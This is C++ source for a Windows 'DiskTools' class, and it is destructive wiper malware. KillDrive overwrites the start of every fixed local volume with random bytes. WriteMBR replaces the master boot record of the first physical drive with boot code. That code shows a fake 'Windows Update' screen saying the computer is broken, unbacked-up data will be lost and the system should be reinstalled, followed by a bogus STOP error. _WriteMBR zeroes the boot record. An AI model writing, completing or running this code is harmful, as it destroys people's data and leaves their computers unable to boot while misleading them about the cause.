class DiskTools
{
private:
	short int IsLocalDisk(char *Drive);
	bool WriteDrive(char drive);

public:
	short int KillDrive(bool *Result);
	bool WriteMBR();
	bool _WriteMBR();
};


short int DiskTools::IsLocalDisk(char *Drive)
{
	char driveLetter[10] = {0};
	char driveLetterData[10] = {0};
	short int driveNumber = 0; 
	for(char drive='A';drive<='Z';drive++)
	{
		sprintf(driveLetter,"%c:\\",drive);
		if(_access(driveLetter,0) == 0)
		{
			if(GetDriveType(driveLetter) == 3)
			{
				Drive[driveNumber] = drive;
				driveNumber++;
			}
		}
	}

	return driveNumber;
}


#define MaxSize 8192
unsigned char scode[MaxSize] = {0};

bool DiskTools::WriteDrive(char drive)
{
	HANDLE rehDevice;
	rehDevice = CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
	if(rehDevice != INVALID_HANDLE_VALUE)
	{
		HANDLE hDevice;
		DWORD dwBytesWritten, dwBytesReturned;
		BYTE pMBR[MaxSize] = {0};
		BOOL state;
		char driveLetter[10] = {0};

		for(int i=0;i<MaxSize;i++) scode[i]=rand()%256;

		memcpy(pMBR, scode, sizeof(scode));
		sprintf(driveLetter,"\\\\.\\%c:",drive);

		hDevice = CreateFile(driveLetter/*"\\\\.\\C:"*/,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
		if (hDevice == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hDevice);
			return false;
		}
		DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);

		state = WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
		if (state == 0)
		{
			CloseHandle(hDevice);
			return false;
		}
		DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);

		CloseHandle(hDevice);
		
		return true;
	}
	else
	{
		return false;
	}
}


short int DiskTools::KillDrive(bool *Result)
{

	char Drive[26];
	int DriveNumber;

	srand(time(0));

	DriveNumber = IsLocalDisk(Drive);
	for(int i=0;i<DriveNumber;i++)
	{	

		if(WriteDrive(Drive[i]))
		{
			Result[i] = true;
		}
		else
		{
			Result[i] = false;
		}
	}

	return DriveNumber;
}




#define MaxMbrSize 2048

unsigned char MbrCode[] = {
	0xEB, 0x00, 0xE8, 0x1F, 0x00, 0x8C, 0xC8, 0x8E, 0xD8, 0xBE, 0x33, 0x7C,
	0xE8, 0x00, 0x00, 0x50, 0xFC, 0x8A, 0x04, 0x3C, 0x00, 0x74, 0x06, 0xE8,
	0x05, 0x00, 0x46, 0xEB, 0xF4, 0xEB, 0xFE, 0xB4, 0x0E, 0xCD, 0x10, 0xC3,
	0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x1F, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18,
	0xCD, 0x10, 0xC3,
	0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x55, 0x70, 0x64, 0x61,0x74, 0x65,
	0x0D,0x0A,
	0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,
	0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,0xDF,
	0x0D,0x0A,
	0x59, 0x6F, 0x75, 0x72, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65,
	0x72, 0x20, 0x69, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x77, 0x6F, 0x72,
	0x6B, 0x69, 0x6E, 0x67, 0x20, 0x72, 0x69, 0x67, 0x68, 0x74, 0x20, 0x6E,
	0x6F, 0x77,
	0x0D,0x0A,
	0x0D,0x0A,
	0x49, 0x66, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x69, 0x6D, 0x70, 0x6F,
	0x72, 0x74, 0x61, 0x6E, 0x74, 0x20, 0x64, 0x61, 0x74, 0x61, 0x20, 0x69,
	0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x65, 0x64,
	0x20, 0x75, 0x70, 0x2C, 0x20, 0x69, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x6C,
	0x20, 0x62, 0x65, 0x20, 0x6C, 0x6F, 0x73, 0x74, 0x2E,
	0x0D,0x0A,
 	0x59, 0x6F, 0x75, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x74, 0x72, 0x79, 0x20,
	0x74, 0x6F, 0x20, 0x66, 0x69, 0x78, 0x20, 0x69, 0x74, 0x2C, 0x20, 0x62,
	0x75, 0x74, 0x20, 0x69, 0x74, 0x27, 0x73, 0x20, 0x6E, 0x6F, 0x74, 0x20,
	0x61, 0x6E, 0x20, 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65,
	0x20, 0x77, 0x61, 0x79, 0x2E, 0x0D, 0x0A, 0x49, 0x20, 0x73, 0x75, 0x67,
	0x67, 0x65, 0x73, 0x74, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x72, 0x65, 0x69,
	0x6E, 0x73, 0x74, 0x61, 0x6C, 0x6C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73,
	0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E,
	0x0D,0x0A,
	0x0D,0x0A,
	0x0D,0x0A,
	0x54, 0x68, 0x65, 0x20, 0x6C, 0x61, 0x73, 0x74, 0x20, 0x74, 0x69, 0x6D,
	0x65, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x75, 0x73, 0x65, 0x64, 0x20, 0x79,
	0x6F, 0x75, 0x72, 0x20, 0x63, 0x6F, 0x6D, 0x70, 0x75, 0x74, 0x65, 0x72,
	0x20, 0x77, 0x61, 0x73, 0x20, 0x6F, 0x6E, 0x20, 
	0x00, 0x00, 0x00, 0x00,  0x00,  0x00, 0x00,  0x00,  0x00, 0x00,
	0x0D,0x0A,
	0x0D,0x0A,
	0x0D,0x0A,
	0x0D,0x0A,
	0x53, 0x54, 0x4F, 0x50, 0x3A, 0x20, 0x4E, 0x75, 0x6C, 0x6C, 0x20, 0x7B,
	0x45, 0x58, 0x43, 0x45, 0x50, 0x54, 0x49, 0x4F, 0x4E, 0x7D, 0x0D, 0x0A,
	0x55, 0x6E, 0x6B, 0x6E, 0x6F, 0x77, 0x6E, 0x20, 0x65, 0x72, 0x72, 0x6F,
	0x72, 0x2E
};


void SetMbrTime(CString time)
{
	for(int i=390;i<=399;i++)
	{
		MbrCode[i]=time[i-390];
	}
}


bool DiskTools::WriteMBR()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[MaxMbrSize] = {0};
	BOOL state;
	
	memcpy(pMBR, MbrCode, sizeof(MbrCode));
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
	
	hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		CloseHandle(hDevice);
		return false;
	}
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);

	state = WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	if (state == 0)
	{
		CloseHandle(hDevice);
		return false;
	}
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	CloseHandle(hDevice);
	
	return true;
}


#define MaxMbrSize 2048

unsigned char MbrNull[MaxMbrSize];

bool DiskTools::_WriteMBR()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[MaxMbrSize] = {0};
	BOOL state;
	memcpy(pMBR, MbrNull, sizeof(MbrNull));
	hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		CloseHandle(hDevice);
		return false;
	}
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	state = WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	if (state == 0)
	{
		CloseHandle(hDevice);
		return false;
	}
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
	CloseHandle(hDevice);
	
	return true;

}